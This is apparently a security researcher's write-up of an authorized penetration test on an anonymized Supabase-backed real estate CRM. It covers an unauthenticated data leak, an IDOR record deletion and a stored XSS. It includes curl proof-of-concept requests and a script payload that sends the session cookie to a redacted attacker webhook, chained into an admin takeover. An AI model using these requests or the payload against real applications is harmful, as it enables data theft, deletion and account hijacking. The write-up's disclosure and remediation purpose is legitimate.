Author: Shikhali Jamalzade (@alisalive) Type: Authorized Black Box Penetration Test Target: Anonymized — Real Estate CRM Web Application (Supabase backend) Methodology: PTES + OWASP API Security Top 10 + OWASP Top 10 Date: March 2026

Overview

This is a write-up of an authorized black-box penetration test I conducted on a real estate CRM system. The engagement was performed with written authorization, from a real attacker perspective — no prior knowledge of the application internals.

Three findings were identified, all rated High severity (CVSS 7.5–8.2). More importantly, they chain together into a complete account takeover path: unauthenticated data leak → IDOR to enumerate UUIDs → Stored XSS with session cookie theft → full admin compromise.

Note: The target's domain, company name, and any identifying details have been removed from this write-up. Screenshots have been sanitized of tokens, emails, and UUIDs.

Finding Summary

IDVulnerabilitySeverityCVSS v3.1OWASP RefF-01Broken Authentication — Mass Data LeakHigh7.5API2:2023F-02IDOR — Unauthorized Record DeletionHigh8.1API1:2023F-03Stored XSS + HTML InjectionHigh8.2A03:2021 / API8:2023

Reconnaissance & Enumeration

The application was a Supabase-backed CRM. During initial enumeration with Burp Suite, I mapped the REST API surface:

/rest/v1/users
/rest/v1/clients
/rest/v1/records

The structure immediately raised flags — Supabase auto-generates REST endpoints for every table, and if Row Level Security (RLS) is misconfigured or disabled, those endpoints are fully exposed.

F-01 — Broken Authentication / Mass Data Leak

CVSS: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Category: OWASP API Security Top 10 — API2:2023 (Broken Authentication)

Description

The /rest/v1/users and /rest/v1/clients endpoints performed zero server-side token validation. Sending a plain GET request with no Authorization header returned the full user database in JSON format — UUIDs, roles, email addresses, and internal notes.

This is distinct from BOLA/IDOR (F-02): here, the attacker isn't authenticated at all. There's simply no authentication enforced.

Reproduction (PoC)

bash

# No Authorization header — completely unauthenticated
curl -X GET "https://[REDACTED].supabase.co/rest/v1/users?select=*" \
  -H "apikey: [PUBLIC_ANON_KEY]"

Response (sanitized):

json

[
  {
    "id": "[UUID-REDACTED]",
    "email": "[REDACTED]@[REDACTED].com",
    "role": "admin",
    "notes": "[REDACTED internal note]"
  },
  ...
]

The same technique worked against /rest/v1/clients?select=*, exposing the entire client database.

Impact

  • Full exposure of all admin identities (UUIDs, emails, roles)
  • Complete client database accessible without authentication
  • Data usable for social engineering, account takeover prep, or data brokering
  • GDPR/data protection compliance violation risk

Remediation

sql

-- Enable RLS on all tables
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
ALTER TABLE clients ENABLE ROW LEVEL SECURITY;
-- Create policies — users can only access their own data
CREATE POLICY "admin_own_data" ON users
  USING (auth.uid() = id);
CREATE POLICY "clients_own_data" ON clients
  USING (auth.uid() = created_by);

Additionally: enforce JWT Bearer token validation on every API endpoint, and configure Supabase Dashboard → Authentication → Policies to block unauthenticated access to all /rest/v1/* routes.

F-02 — IDOR / Broken Object Level Authorization (BOLA)

CVSS: 8.1 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Category: OWASP API Security Top 10 — API1:2023 (BOLA)

Description

Unlike F-01 (no auth at all), this finding requires an authenticated session — but once logged in, any user can perform destructive operations on other users' records simply by supplying a different UUID.

The server never verified that the requesting user owned the target object. A DELETE request with another admin's record UUID succeeded silently.

Reproduction (PoC)

bash

# Step 1: Obtain victim's record UUID from F-01
# Step 2: Authenticated DELETE with your own session token, but victim's UUID
curl -X DELETE \
  "https://[REDACTED].supabase.co/rest/v1/records?id=eq.[VICTIM-UUID-REDACTED]" \
  -H "Authorization: Bearer [OWN-TOKEN-REDACTED]" \
  -H "apikey: [REDACTED]"

Response:

HTTP/2 204 No Content

Verification — record is gone:

bash

curl "https://[REDACTED].supabase.co/rest/v1/records?id=eq.[VICTIM-UUID-REDACTED]" \
  -H "Authorization: Bearer [OWN-TOKEN-REDACTED]"
# Returns: []  ← record deleted, exploitation confirmed

Impact

  • Any authenticated user can delete or modify any other admin's records
  • Irreversible data loss with no audit trail
  • Disrupts all business operations relying on CRM data integrity

Remediation

sql

-- Object-level authorization via RLS
CREATE POLICY "delete_own_records" ON records
  FOR DELETE
  USING (auth.uid() = created_by);
CREATE POLICY "update_own_records" ON records
  FOR UPDATE
  USING (auth.uid() = created_by);

Also recommended: implement soft delete (is_deleted flag + deleted_at timestamp) so destructive operations are reversible.

F-03 — Stored XSS + HTML Injection

CVSS: 8.2 — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N Category: OWASP Top 10 — A03:2021 (Injection) / OWASP API Security — API8:2023

Description

The client name field in the CRM's new-customer form accepted and stored arbitrary JavaScript without any server-side or client-side sanitization. The payload is written to the database and executes in every admin's browser when they view that client record — classic Stored (Persistent) XSS.

Note on CVSS PR:L: Creating a client record requires authentication. If the customer registration form is ever made public-facing, this becomes PR:N and the CVSS score rises to ~9.3.

Reproduction (PoC)

Payload injected into the full_name field:

html

<script>
  fetch('https://[ATTACKER-WEBHOOK-REDACTED]/?c=' + document.cookie)
</script>

Alternative payload (no external request — for local testing):

html

<img src=x onerror=alert(document.domain)>

What happened:

  1. The payload was saved to the database (HTTP 201 Created)
  2. Any admin who navigated to that client's profile triggered execution
  3. The webhook received the admin's session token — full account takeover achieved

Sanitized screenshot description: Burp Suite showed the full_name field containing the raw XSS payload in the POST body, and the webhook server received the stolen token in the GET parameter c=.

Impact

  • Session cookie theft → account takeover for every admin who views the poisoned record
  • UI manipulation / phishing via HTML injection
  • Internal network pivoting from a compromised admin session
  • All admin accounts are at risk, not just the one who viewed the record

Remediation

Defense must be layered — client-side alone is insufficient:

1. Server-side (primary defense):

php

// PHP example
$clean_name = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

Or for Supabase Edge Functions:

javascript

import { sanitize } from 'dompurify'; // server-side equivalent
const cleanName = sanitize(req.body.full_name);

2. Client-side (secondary defense):

javascript

// Install: npm install dompurify
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(untrustedInput);

3. Security headers:

Content-Security-Policy: default-src 'self'
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict

Attack Chain — Putting It All Together

This is where it gets interesting. The three findings don't exist in isolation — they form a complete kill chain:

[Step 1 — F-01: Unauthenticated API Access]
  └─► GET /rest/v1/users?select=*  (no auth required)
  └─► Result: All admin UUIDs, emails, roles extracted
[Step 2 — F-02: IDOR]
  └─► Using victim UUID from Step 1
  └─► DELETE /rest/v1/records?id=eq.{victim_uuid}
  └─► Result: Any record deleted, data integrity destroyed
[Step 3 — F-03: Stored XSS → Session Hijack]
  └─► Authenticated with any account (even low-priv)
  └─► POST /rest/v1/clients — name field = XSS payload
  └─► Admin views client → JS executes → cookie sent to attacker
  └─► Result: Full admin session captured
[Full Compromise]
  └─► Attacker has valid admin session
  └─► Access to entire CRM: all clients, records, admin data
  └─► Can perform any action (read, write, delete) as admin

The critical observation: F-01 feeds F-02 (provides UUIDs) and F-03 accelerates to admin-level impact (any session captured = full access). A fix for F-01 alone significantly reduces the attack surface for both F-02 and F-03.

Remediation Priority

IDFindingPriorityDeadlineT-01Enable Supabase RLS + JWT enforcement on all endpoints🔴 Immediate24hT-02Add auth.uid() == created_by check on all mutation operations🔴 Immediate24hT-03Server-side sanitization + CSP header + HttpOnly cookies🔴 Immediate48h

Key Takeaways

For developers using Supabase (or any auto-generated REST API):

  1. RLS is not enabled by default on new tables. You must explicitly enable it for every table that holds sensitive data.
  2. The anon key is public. It's included in your frontend JS bundle. If RLS is off, anyone with the anon key can read your entire database.
  3. Authentication ≠ Authorization. F-02 is a perfect example — the user was authenticated, but the system never checked what they were authorized to do to which objects.
  4. Stored XSS in internal tools is high severity. It's easy to underestimate because "only admins can see it" — but that's exactly who attackers want to compromise.

Written by Shikhali Jamalzade — Offensive Security Researcher & Penetration Tester GitHub: @alisalive | LinkedIn: Shikhali Jamalzade This write-up covers an authorized penetration test. All identifying details have been removed.